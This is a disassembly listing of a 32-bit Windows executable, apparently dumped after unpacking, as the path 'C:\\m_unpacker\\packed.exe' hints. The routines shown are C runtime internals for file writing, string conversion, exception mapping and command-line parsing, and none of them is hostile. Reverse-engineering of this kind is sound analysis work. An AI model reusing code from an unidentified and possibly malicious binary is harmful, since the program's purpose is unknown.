		test	byte ptr [edi+0Ch], 1
		jz	loc_4230EE
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_42305C
		and	[ebp+var_8], edx
		jmp	loc_4230EE
; ---------------------------------------------------------------------------


loc_42305C:				; CODE XREF: sub_422FA3+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD040h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_4230E8
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4230AF
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_42309A:				; CODE XREF: sub_422FA3+104j
		cmp	eax, ecx
		jnb	short loc_4230A9
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4230A6
		inc	[ebp+arg_0]


loc_4230A6:				; CODE XREF: sub_422FA3+FEj
		inc	eax
		jmp	short loc_42309A
; ---------------------------------------------------------------------------


loc_4230A9:				; CODE XREF: sub_422FA3+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_4230E3
; ---------------------------------------------------------------------------


loc_4230AF:				; CODE XREF: sub_422FA3+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_422F09
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4230D6
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4230D6
		test	ch, 4
		jz	short loc_4230D9


loc_4230D6:				; CODE XREF: sub_422FA3+124j
					; sub_422FA3+12Cj
		mov	eax, [edi+18h]


loc_4230D9:				; CODE XREF: sub_422FA3+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_4230E3:				; CODE XREF: sub_422FA3+10Aj
		jz	short loc_4230E8
		inc	[ebp+arg_0]


loc_4230E8:				; CODE XREF: sub_422FA3+D9j
					; sub_422FA3:loc_4230E3j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_4230EE:				; CODE XREF: sub_422FA3+A4j
					; sub_422FA3+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_4230F6:				; CODE XREF: sub_422FA3+3Cj
					; sub_422FA3+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422FA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4230FB	proc near		; CODE XREF: sub_41DB54+A2p
					; sub_41E42B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DD140
		push	esi
		push	edi
		jnb	loc_42328F
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD040h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_42328F
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42314C


loc_423145:				; CODE XREF: sub_4230FB+177j
		xor	eax, eax
		jmp	loc_4232A3
; ---------------------------------------------------------------------------


loc_42314C:				; CODE XREF: sub_4230FB+48j
		test	al, 20h
		jz	short loc_42315C
		push	2
		push	edi
		push	ecx
		call	sub_422F09
		add	esp, 0Ch


loc_42315C:				; CODE XREF: sub_4230FB+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_42322B
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_423263


loc_42317C:				; CODE XREF: sub_4230FB+F5j
		lea	eax, [ebp+var_414]


loc_423182:				; CODE XREF: sub_4230FB+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4231B6
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4231A1
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_4231A1:				; CODE XREF: sub_4230FB+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_423182


loc_4231B6:				; CODE XREF: sub_4230FB+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2730000h
		test	eax, eax
		jz	short loc_423220
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_4231F2
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42317C


loc_4231F2:				; CODE XREF: sub_4230FB+EAj
					; sub_4230FB+12Ej
		xor	edi, edi


loc_4231F4:				; CODE XREF: sub_4230FB+150j
					; sub_4230FB+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_42328A
		cmp	[ebp+arg_0], edi
		jz	short loc_423263
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_423258
		mov	dword_4DBDDC, 9
		mov	dword_4DBDE0, eax
		jmp	loc_4232A0
; ---------------------------------------------------------------------------


loc_423220:				; CODE XREF: sub_4230FB+E0j
		nop
		call	near ptr 26A0E98h
		mov	[ebp+arg_0], eax
		jmp	short loc_4231F2
; ---------------------------------------------------------------------------


loc_42322B:				; CODE XREF: sub_4230FB+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		nop
		call	near ptr 2730000h
		test	eax, eax
		jz	short loc_42324D
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_4231F4
; ---------------------------------------------------------------------------


loc_42324D:				; CODE XREF: sub_4230FB+145j
		nop
		call	near ptr 26A0E98h
		mov	[ebp+arg_0], eax
		jmp	short loc_4231F4
; ---------------------------------------------------------------------------


loc_423258:				; CODE XREF: sub_4230FB+10Fj
		push	[ebp+arg_0]
		call	sub_420C7F
		pop	ecx
		jmp	short loc_4232A0
; ---------------------------------------------------------------------------


loc_423263:				; CODE XREF: sub_4230FB+7Bj
					; sub_4230FB+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_423278
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_423145


loc_423278:				; CODE XREF: sub_4230FB+16Fj
		mov	dword_4DBDDC, 1Ch
		mov	dword_4DBDE0, edi
		jmp	short loc_4232A0
; ---------------------------------------------------------------------------


loc_42328A:				; CODE XREF: sub_4230FB+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_4232A3
; ---------------------------------------------------------------------------


loc_42328F:				; CODE XREF: sub_4230FB+15j
					; sub_4230FB+37j
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9


loc_4232A0:				; CODE XREF: sub_4230FB+120j
					; sub_4230FB+166j ...
		or	eax, 0FFFFFFFFh


loc_4232A3:				; CODE XREF: sub_4230FB+4Cj
					; sub_4230FB+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4230FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4232A8	proc near		; CODE XREF: sub_41DE4A+47p
					; sub_41DE4A+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427928
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4DBE78, edi
		jnz	short loc_42331E
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427920
		mov	esi, 100h
		push	esi
		push	edi
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_4232FC
		mov	dword_4DBE78, ebx
		jmp	short loc_42331E
; ---------------------------------------------------------------------------


loc_4232FC:				; CODE XREF: sub_4232A8+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset word_4CB88C
		push	esi
		push	edi
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	loc_423436
		mov	dword_4DBE78, 2


loc_42331E:				; CODE XREF: sub_4232A8+2Ej
					; sub_4232A8+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_423333
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4234CC
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_423333:				; CODE XREF: sub_4232A8+79j
		mov	eax, dword_4DBE78
		cmp	eax, 2
		jnz	short loc_42335A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		jmp	loc_423438
; ---------------------------------------------------------------------------


loc_42335A:				; CODE XREF: sub_4232A8+93j
		cmp	eax, 1
		jnz	loc_423436
		cmp	[ebp+arg_18], edi
		jnz	short loc_423370
		mov	eax, dword_4DBE94
		mov	[ebp+arg_18], eax


loc_423370:				; CODE XREF: sub_4232A8+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 2710000h
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_423436
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4233CB
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_4233CB:				; CODE XREF: sub_4232A8+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_423436
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	near ptr 2710000h
		nop
		test	eax, eax
		jz	short loc_423436
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_423436
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_42344A
		cmp	[ebp+arg_14], edi
		jz	loc_4234C5
		cmp	esi, [ebp+arg_14]
		jg	short loc_423436
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jnz	loc_4234C5


loc_423436:				; CODE XREF: sub_4232A8+66j
					; sub_4232A8+B5j ...
		xor	eax, eax


loc_423438:				; CODE XREF: sub_4232A8+ADj
					; sub_4232A8+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42344A:				; CODE XREF: sub_4232A8+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42347E
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_42347E:				; CODE XREF: sub_4232A8+1C2j
		cmp	ebx, edi
		jz	short loc_423436
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_423436
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_4234A5
		push	edi
		push	edi
		jmp	short loc_4234AB
; ---------------------------------------------------------------------------


loc_4234A5:				; CODE XREF: sub_4232A8+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_4234AB:				; CODE XREF: sub_4232A8+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2850000h
		mov	esi, eax
		cmp	esi, edi
		jz	loc_423436


loc_4234C5:				; CODE XREF: sub_4232A8+165j
					; sub_4232A8+188j
		mov	eax, esi
		jmp	loc_423438
sub_4232A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4234CC	proc near		; CODE XREF: sub_4232A8+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_4234E9


loc_4234DC:				; CODE XREF: sub_4234CC+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_4234E9
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_4234DC


loc_4234E9:				; CODE XREF: sub_4234CC+Ej
					; sub_4234CC+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4234F4
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_4234F4:				; CODE XREF: sub_4234CC+21j
		mov	eax, edx
		retn
sub_4234CC	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_423638
		test	eax, eax
		pop	ecx
		jz	loc_42362C
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_42362C
		cmp	ebx, 5
		jnz	short loc_423528
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_423635
; ---------------------------------------------------------------------------


loc_423528:				; CODE XREF: ___:0042351Aj
		cmp	ebx, 1
		jz	loc_423627
		mov	ecx, dword_4DBE9C
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4DBE9C, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_423617
		mov	ecx, dword_43D4C0
		mov	edx, dword_43D4C4
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_423577
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43D450h[esi*4]


loc_42356E:				; CODE XREF: ___:00423575j
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_42356E


loc_423577:				; CODE XREF: ___:00423560j
		mov	eax, [eax]
		mov	esi, dword_43D4CC
		cmp	eax, 0C000008Eh
		jnz	short loc_423592
		mov	dword_43D4CC, 83h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_423592:				; CODE XREF: ___:00423584j
		cmp	eax, 0C0000090h
		jnz	short loc_4235A5
		mov	dword_43D4CC, 81h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235A5:				; CODE XREF: ___:00423597j
		cmp	eax, 0C0000091h
		jnz	short loc_4235B8
		mov	dword_43D4CC, 84h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235B8:				; CODE XREF: ___:004235AAj
		cmp	eax, 0C0000093h
		jnz	short loc_4235CB
		mov	dword_43D4CC, 85h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235CB:				; CODE XREF: ___:004235BDj
		cmp	eax, 0C000008Dh
		jnz	short loc_4235DE
		mov	dword_43D4CC, 82h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235DE:				; CODE XREF: ___:004235D0j
		cmp	eax, 0C000008Fh
		jnz	short loc_4235F1
		mov	dword_43D4CC, 86h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235F1:				; CODE XREF: ___:004235E3j
		cmp	eax, 0C0000092h
		jnz	short loc_423602
		mov	dword_43D4CC, 8Ah


loc_423602:				; CODE XREF: ___:00423590j
					; ___:004235A3j ...
		push	dword_43D4CC
		push	8
		call	ebx
		pop	ecx
		mov	dword_43D4CC, esi
		pop	ecx
		pop	esi
		jmp	short loc_42361F
; ---------------------------------------------------------------------------


loc_423617:				; CODE XREF: ___:00423549j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_42361F:				; CODE XREF: ___:00423615j
		mov	eax, [ebp+8]
		mov	dword_4DBE9C, eax


loc_423627:				; CODE XREF: ___:0042352Bj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423635
; ---------------------------------------------------------------------------


loc_42362C:				; CODE XREF: ___:00423506j
					; ___:00423511j
		push	dword ptr [ebp+0Ch]
		nop
		call	near ptr 2630000h


loc_423635:				; CODE XREF: ___:00423523j
					; ___:0042362Aj
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_423638	proc near		; CODE XREF: ___:004234FEp

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D4C8
		cmp	dword_43D448, edx
		push	esi
		mov	eax, offset dword_43D448
		jz	short loc_423665
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43D448h[esi*4]


loc_42365A:				; CODE XREF: sub_423638+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_423665
		cmp	[eax], edx
		jnz	short loc_42365A


loc_423665:				; CODE XREF: sub_423638+16j
					; sub_423638+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43D448h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_423678
		cmp	[eax], edx
		jz	short locret_42367A


loc_423678:				; CODE XREF: sub_423638+3Aj
		xor	eax, eax

locret_42367A:				; CODE XREF: sub_423638+3Ej
		retn
sub_423638	endp

; ---------------------------------------------------------------------------
		cmp	dword_4DD394, 0
		jnz	short loc_423689
		call	sub_420B0D


loc_423689:				; CODE XREF: ___:00423682j
		push	esi
		mov	esi, dword_4DD38C
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_4236BB


loc_423696:				; CODE XREF: ___:004236AEj
					; ___:004236B1j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_4236B3
		test	al, al
		jz	short loc_4236B3
		movzx	eax, al
		push	eax
		call	sub_424FE7
		test	eax, eax
		pop	ecx
		jz	short loc_423696
		inc	esi
		jmp	short loc_423696
; ---------------------------------------------------------------------------


loc_4236B3:				; CODE XREF: ___:0042369Cj
					; ___:004236A0j
		cmp	byte ptr [esi],	22h
		jnz	short loc_4236C5


loc_4236B8:				; CODE XREF: ___:004236CDj
		inc	esi
		jmp	short loc_4236C5
; ---------------------------------------------------------------------------


loc_4236BB:				; CODE XREF: ___:00423694j
		cmp	al, 20h
		jbe	short loc_4236C5


loc_4236BF:				; CODE XREF: ___:004236C3j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_4236BF


loc_4236C5:				; CODE XREF: ___:004236B6j
					; ___:004236B9j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_4236CF
		cmp	al, 20h
		jbe	short loc_4236B8


loc_4236CF:				; CODE XREF: ___:004236C9j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DD394, ebx
		push	esi
		push	edi
		jnz	short loc_4236E5
		call	sub_420B0D


loc_4236E5:				; CODE XREF: ___:004236DEj
		mov	esi, dword_4DBE34
		xor	edi, edi


loc_4236ED:				; CODE XREF: ___:00423703j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_423705
		cmp	al, 3Dh
		jz	short loc_4236F8
		inc	edi


loc_4236F8:				; CODE XREF: ___:004236F5j
		push	esi
		call	sub_41B9C0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_4236ED
; ---------------------------------------------------------------------------


loc_423705:				; CODE XREF: ___:004236F1j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4DBE04, esi
		jnz	short loc_423727
		push	9
		call	sub_41E2C9
		pop	ecx


loc_423727:				; CODE XREF: ___:0042371Dj
		mov	edi, dword_4DBE34
		cmp	[edi], bl
		jz	short loc_42376A
		push	ebp


loc_423732:				; CODE XREF: ___:00423767j
		push	edi
		call	sub_41B9C0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_423763
		push	ebp
		call	sub_41BEB5
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_423756
		push	9
		call	sub_41E2C9
		pop	ecx


loc_423756:				; CODE XREF: ___:0042374Cj
		push	edi
		push	dword ptr [esi]
		call	sub_41C890
		pop	ecx
		add	esi, 4
		pop	ecx


loc_423763:				; CODE XREF: ___:0042373Fj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_423732
		pop	ebp


loc_42376A:				; CODE XREF: ___:0042372Fj
		push	dword_4DBE34
		call	sub_41BA91
		pop	ecx
		mov	dword_4DBE34, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DD390, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DD394, ebx
		push	esi
		push	edi
		jnz	short loc_4237A3
		call	sub_420B0D


loc_4237A3:				; CODE XREF: ___:0042379Cj
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	near ptr 2690000h
		nop
		mov	eax, dword_4DD38C
		mov	off_4DBE14, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_4237C8
		mov	edi, eax


loc_4237C8:				; CODE XREF: ___:004237C4j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_423825
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41BEB5
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_4237F8
		push	8
		call	sub_41E2C9
		pop	ecx


loc_4237F8:				; CODE XREF: ___:004237EEj
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_423825
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4DBDFC, esi
		pop	edi
		pop	esi
		mov	dword_4DBDF8, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423825	proc near		; CODE XREF: ___:004237D3p
					; ___:00423809p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_42384F
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_42384F:				; CODE XREF: sub_423825+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_423898


loc_423854:				; CODE XREF: sub_423825+58j
					; sub_423825+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_423886
		test	dl, dl
		jz	short loc_423886
		movzx	edx, dl
		test	byte_4DD261[edx], 4
		jz	short loc_423879
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423879
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_423879:				; CODE XREF: sub_423825+46j
					; sub_423825+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423854
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_423854
; ---------------------------------------------------------------------------


loc_423886:				; CODE XREF: sub_423825+36j
					; sub_423825+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423890
		and	byte ptr [esi],	0
		inc	esi


loc_423890:				; CODE XREF: sub_423825+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4238DB
		inc	eax
		jmp	short loc_4238DB
; ---------------------------------------------------------------------------


loc_423898:				; CODE XREF: sub_423825+2Dj
					; sub_423825+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4238A3
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_4238A3:				; CODE XREF: sub_423825+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DD261[ebx], 4
		jz	short loc_4238BE
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4238BD
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_4238BD:				; CODE XREF: sub_423825+91j
		inc	eax


loc_4238BE:				; CODE XREF: sub_423825+8Bj
		cmp	dl, 20h
		jz	short loc_4238CC
		test	dl, dl
		jz	short loc_4238D0
		cmp	dl, 9
		jnz	short loc_423898


loc_4238CC:				; CODE XREF: sub_423825+9Cj
		test	dl, dl
		jnz	short loc_4238D3


loc_4238D0:				; CODE XREF: sub_423825+A0j
		dec	eax
		jmp	short loc_4238DB
; ---------------------------------------------------------------------------


loc_4238D3:				; CODE XREF: sub_423825+A9j
		test	esi, esi
		jz	short loc_4238DB
		and	byte ptr [esi-1], 0


loc_4238DB:				; CODE XREF: sub_423825+6Ej
					; sub_423825+71j ...
		and	[ebp+arg_10], 0


loc_4238DF:				; CODE XREF: sub_423825+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4239C8


loc_4238E8:				; CODE XREF: sub_423825+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4238F4
		cmp	dl, 9
		jnz	short loc_4238F7


loc_4238F4:				; CODE XREF: sub_423825+C8j
		inc	eax
		jmp	short loc_4238E8
; ---------------------------------------------------------------------------


loc_4238F7:				; CODE XREF: sub_423825+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4239C8
		test	edi, edi
		jz	short loc_42390C
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_42390C:				; CODE XREF: sub_423825+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_423911:				; CODE XREF: sub_423825+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_42391A:				; CODE XREF: sub_423825+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_423923
		inc	eax
		inc	ebx
		jmp	short loc_42391A
; ---------------------------------------------------------------------------


loc_423923:				; CODE XREF: sub_423825+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_423954
		test	bl, 1
		jnz	short loc_423952
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423941
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423941
		mov	eax, edx
		jmp	short loc_423944
; ---------------------------------------------------------------------------


loc_423941:				; CODE XREF: sub_423825+10Dj
					; sub_423825+116j
		mov	[ebp+arg_0], edi


loc_423944:				; CODE XREF: sub_423825+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_423952:				; CODE XREF: sub_423825+106j
		shr	ebx, 1


loc_423954:				; CODE XREF: sub_423825+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423969
		inc	ebx


loc_42395C:				; CODE XREF: sub_423825+142j
		test	esi, esi
		jz	short loc_423964
		mov	byte ptr [esi],	5Ch
		inc	esi


